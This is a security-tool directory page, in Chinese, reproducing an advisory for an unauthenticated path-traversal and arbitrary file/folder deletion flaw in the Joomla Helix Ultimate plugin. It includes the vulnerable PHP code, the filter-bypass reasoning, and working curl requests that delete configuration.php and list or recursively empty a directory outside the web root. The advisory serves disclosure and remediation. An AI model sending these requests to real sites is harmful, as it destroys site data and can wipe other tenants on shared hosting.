Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-57830 — Joomla Helix Ultimate (JoomShaper) <= 2.2.6 中未经认证的任意文件/文件夹删除漏洞 — CVE-2026-57830 | Kitploit
工具/GitHubGitHub/is4yev/cve-2026-57830
漏洞分析漏洞利用Web应用程序漏洞利用信息收集CTF渗透测试学习与教育
GitHubis4yev/cve-2026-57830

CVE-2026-57830

Joomla Helix Ultimate (JoomShaper) <= 2.2.6 中未经认证的任意文件/文件夹删除漏洞 — CVE-2026-57830

查看仓库
311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Helix Ultimate Framework — 未经身份验证的路径遍历导致任意文件/文件夹读取+删除

这是一个已确认的拒绝服务 + 跨租户文件系统访问漏洞,并非远程代码执行。 关于远程代码执行升级的理论(删除 configuration.php 以重新暴露 Joomla 安装程序)已通过实际测试并被推翻——详见下文“远程代码执行升级——已测试并推翻”。在任何报告中,未经重新构建真实攻击链之前,不得将其描述为远程代码执行漏洞。

严重性升级(2026-07-06,第二轮评估): path 参数并未如最初评估的那样被安全限制在 Joomla 的 Web 根目录内——Joomla 的 PATH 输入过滤器并不阻止单个 /../ 遍历组件,因此此漏洞可以读取(完整目录列表;写入:删除文件或递归清空文件夹内容)Web 服务器用户可以访问的文件系统上的任何内容,而不仅仅是 Joomla 安装目录内的文件。在任何共享托管布局中,多个站点/租户作为同操作系统用户下的同级目录(极其常见:cPanel“附加域名”、共享系统用户的 Plesk 订阅、多数低成本托管),一个使用了 Helix-Ultimate 的站点允许匿名访客摧毁同一账户下的所有其他站点。详见下文“路径遍历完全绕过 JPATH_ROOT”。

组件: JoomShaper Helix Ultimate Framework(plg_system_helixultimate),几乎内置在每一个 JoomShaper Joomla 模板中(基于 Helix Ultimate)。 测试版本: 2.2.6(GitHub JoomShaper/helix-ultimate,2026-07 时的最新提交,最新推送 2026-06-30) 作者: Amin İsayev / Proxima Cyber Security


摘要

plugins/system/helixultimate/src/Platform/Media.php 通过 helixultimate.php::onAfterRoute() 中的 Joomla com_ajax 调度钩子暴露了 deleteMedia()、getFolders() 和 createFolder()。这三个方法仅调用了 Session::checkToken()(一个普通的 CSRF 检查,任何匿名访客自己的会话令牌即可满足——该令牌可从站点首页 HTML 中获取)——完全没有 authorise() / 登录检查。这与同一类中的同级方法 uploadMedia() 不一致,后者正确地要求对 com_templates 具有 core.edit 权限。

由于这是一个系统插件,onAfterRoute() 会在每个请求上触发,无论当前激活的是哪个模板——只要插件已安装并启用(默认情况下,任何使用基于 Helix-Ultimate 的 JoomShaper 模板的站点都如此),漏洞代码路径即可访问。

根本原因

plugins/system/helixultimate/helixultimate.php(大约第 464-489 行):

root@kitploit:~
if ($this->app->isClient('site'))
{
    $option  = $this->app->input->get('option', '', 'STRING');
    $helix   = $this->app->input->get('helix', '', 'STRING');
    $request = $this->app->input->get('request', '', 'STRING');
    $action  = $this->app->input->get('action', '', 'STRING');

    if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
    {
        switch ($action)
        {
            case 'upload-blog-image': Blog::upload_image(); break;   // 有 core.create/com_media 检查
            case 'remove-blog-image': Blog::remove_image(); break;   // 有 core.delete/com_media 检查
            case 'view-media':        Media::getFolders();  break;  // 无 authorise() 检查
            case 'delete-media':      Media::deleteMedia(); break;  // 无 authorise() 检查
            case 'upload-media':      Media::uploadMedia(); break;  // 有 core.edit/com_templates 检查
        }
    }
}

plugins/system/helixultimate/src/Platform/Media.php:

root@kitploit:~
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← 仅 CSRF,无 authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // 递归
}

$path 经过 Joomla 的 PATH 输入过滤器(InputFilter::cleanPath())。两个独立因素使其危险:

  1. 甚至不需要遍历即可访问 Web 根目录内的任何内容——path 直接相对于 JPATH_ROOT 解析,因此任何相对于根路径的绝对路径(/configuration.php、/administrator/...、/media/...)已经可达。
  2. 遍历到 Web 根目录之上也有效。 cleanPath() 的正则表达式(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$)允许在开头的 [A-Za-z0-9_/-]+ 块之后立即出现一个由点/连字符/字母数字组成的序列——并且一个前导 / 单独就可以满足那个开头块,因此像 /../sibling_dir 这样的字符串可以干净地匹配:/(块1),..(允许的点序列),/sibling_dir(正常的尾部段)。该过滤器原本的想法是拒绝一个以点开头的新的 /… 组件,但从未预料到字符串的第一个字符后面紧跟着一个 。链式 (在第一个点序列之后,每个后续的 段必须以非点字符开头)——因此逃逸被限制在 之上目录层级,但该层级以下的所有内容(任意深度)随后可正常访问,因为后续段只是普通的非点路径组件。

影响

  • 未经身份验证删除 Joomla Web 根目录下的任意单个文件 → 简单删除 configuration.php → 立即、完全站点中断(“No configuration” 致命错误),一个 HTTP 请求,零身份验证。
  • 未经身份验证递归删除任意文件夹(type=folder)→ 例如 /administrator、/components、/media → 破坏性更大,实际上会摧毁安装。
  • 通过 view-media(Media::getFolders())未经身份验证泄露信息:列出所有图像文件、所有子文件夹名称以及在任意根相对路径下的绝对服务器路径,无需身份验证(下面用作 安全 检测信号)。
  • 完全逃逸 Web 根目录(向上一个层级,然后从那里可以无限深度) ——可访问 Joomla 安装的同级目录。在多个站点共享一个操作系统用户的共享托管环境中(cPanel 附加域名、Plesk 订阅等),一个匿名访客访问一个 Helix-Ultimate 站点可以枚举并删除同一账户下其他所有站点的文件。这将单站点漏洞转变为整个服务器账户的爆炸半径。
  • 未发现远程代码执行升级——参见下文。

实地验证(2026-07-06)

针对一个一次性 Docker 实例(Joomla 5.4.6 + Helix Ultimate 插件 2.2.6,全新安装,完全匿名浏览器会话——未登录,除了 Joomla 分发给每个访客的 cookie 外无其他 cookie)进行测试:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/configuration.php" \
    --data-urlencode "type=file" \
    --data-urlencode "<csrf-token-from-homepage>=1"

{"status":true, ...}

$ curl http://TARGET/
"No configuration file found and no directory was found for installation."

路径遍历完全绕过 JPATH_ROOT——现场证明(2026-07-06)

在 Joomla Web 根目录旁边创建了一个同级目录(/var/www/canary_sibling,与 /var/www/html 同级),由与 Web 服务器相同的用户(www-data)拥有,以模拟真实的共享托管布局,里面放置了一个文件、一个图像和一个子目录:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "<csrf-token>=1"

{"status":true, "path":"/../canary_sibling",
 "images":["/var/www/html/../canary_sibling/proof.png"],
 "folders":["subdir"], ...}

完全读取/枚举了一个完全位于 Joomla 安装之外的目录,包括解析后的绝对服务器路径,零身份验证。

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "type=folder" \
    --data-urlencode "<csrf-token>=1"

结果:canary_sibling 内的每个文件(普通文件、图像和子目录)都被删除。只剩下现在为空的顶级 canary_sibling 文件夹本身,并且仅仅是因为在这个实验室环境中它直接位于 /var/www 下,由 root 拥有——删除空目录条目需要对其父目录拥有写入权限,而 www-data 对 /var/www 没有该权限。在真实的共享托管布局中(例如 /home/user/domains/siteA.com/public_html 和 /home/user/domains/siteB.com/public_html 作为真正的同级目录,两者都由同一账户用户从根到叶拥有),该最后的屏障不存在,同级站点的整个目录树都可以被删除。

远程代码执行升级——已测试并推翻(2026-07-06)

显而易见的下一步猜测是:在一个从未删除 installation/ 的站点上,删除 configuration.php 将使安装程序向导再次可达,从而允许攻击者完成安装并创建一个新的超级用户。这已在实验室中直接测试,但并不成立:

  1. 将 installation/ 文件夹复制回 Web 根目录(模拟一个忘记删除它的站点)——此时 configuration.php 仍然存在且有效。
  2. 结果:Joomla 自己的核心引导程序(在任何插件(包括本漏洞插件)运行之前)立即为每一个请求都开始发出 302 Found -> /installation/index.php,包括漏洞利用本身的 POST 请求到 option=com_ajax&helix=ultimate&...&action=delete-media。漏洞代码路径在这种状态下从未执行——Joomla 核心先一步短路了所有内容。
  3. 结论:两个状态无法串联。
    • 如果 installation/ 存在:该站点已经对任何访客完全开放,可以接管,完全独立于本漏洞——这是一个预先存在的、不相关的 Joomla 错误配置,并非本漏洞导致或需要的。
    • 如果 installation/ 不存在(正常的安全状态):本漏洞只能删除文件,无法创建 installation/ 文件夹——无法通过仅删除的原语重新暴露安装程序。

结论:没有任何状态组合可以将其转变为远程代码执行。 已确认的、真实的危害上限是未经身份验证、无条件、有保证的完全站点拒绝服务(加上上面提到的未经身份验证的信息泄露)。这本身已经是严重级别发现,无需夸大远程代码执行的说法。

更正:createFolder() 并非未经身份验证可达(早期草稿有误)

该文档的早期版本声称 Media::createFolder() 也可以通过未经身份验证方式访问(作为除删除/读取之外的第三个原语)。这是错误的,在对插件的调度接线进行了全面检查后已更正:

  • createFolder() 以及代码库中真正的文件内容写入接收点(Request.php:fwrite(),用于模板样式/网络字体/CSS 缓存文件的 File::write())都位于 plugins/system/helixultimate/src/Platform/Request.php,仅通过 Platform::handleRequests() <- onAfterRespond() 调度。
  • onAfterRespond() 明确要求 $this->app->isClient('administrator'),而 onAfterRoute() 在此之前会单独将任何未登录的访客重定向走。这条路径是真正需要管理员身份验证的——通过阅读确切的网关条件确认,而不是仅仅基于方法内部缺少 authorise() 调用(与站点端的 deleteMedia()/getFolders() 不同,后者真正没有任何网关)。
  • 前端(isClient('site'))在 中的 switch 只连接了五个操作:、、()、()、(,它确实检查 /)。 不在其中。

最终确认的未授权能力集:仅删除(文件或递归文件夹)+ 读取(文件夹/图像列表)。 此插件中不存在任何未经身份验证的内容写入原语。 这正是为什么即使在专门寻找后仍未发现远程代码执行链的原因——远程代码执行从根本上需要一个写入原语,而此漏洞类别不具有。

检测 PoC——helix_ultimate_detect.py

非破坏性。使用 action=view-media(文件夹/文件列表)作为证明信号——从不删除任何内容。

漏洞利用 / DoS PoC——helix_ultimate_delete_poc.py(名称保留以保持连续性;仅确认拒绝服务)

破坏性。需要显式 --delete <path> 才能接触任何内容。--rce 标志删除 configuration.php 并探测 /installation/ 纯粹是为了检查该文件夹是否碰巧已经存在(如果存在,则该站点无论此漏洞如何都已独立地完全开放)——它并不代表由本漏洞引起的真正升级;请参见上文“远程代码执行升级——已测试并推翻”。仅在有书面授权的情况下使用。

修复措施

需要两个独立的修复,任何一个单独执行都足以阻止此漏洞:

  1. 在 src/Platform/Media.php 中的 deleteMedia() 和 getFolders() 中添加 uploadMedia() 已经具有的相同授权检查——至少需要 core.edit/core.delete 对 com_templates(或 com_media,匹配 Blog::remove_image() 的模式),然后才能执行任何文件系统操作。

Amin İsayev / Proxima Cyber Security——2026 年。仅供教育/授权测试使用。

下载工具
..
/../../..
无法通过
/…
恰好
JPATH_ROOT
一个
onAfterRoute()
upload-blog-image
remove-blog-image
view-media
Media::getFolders
delete-media
Media::deleteMedia
upload-media
Media::uploadMedia
core.edit
com_templates
create-folder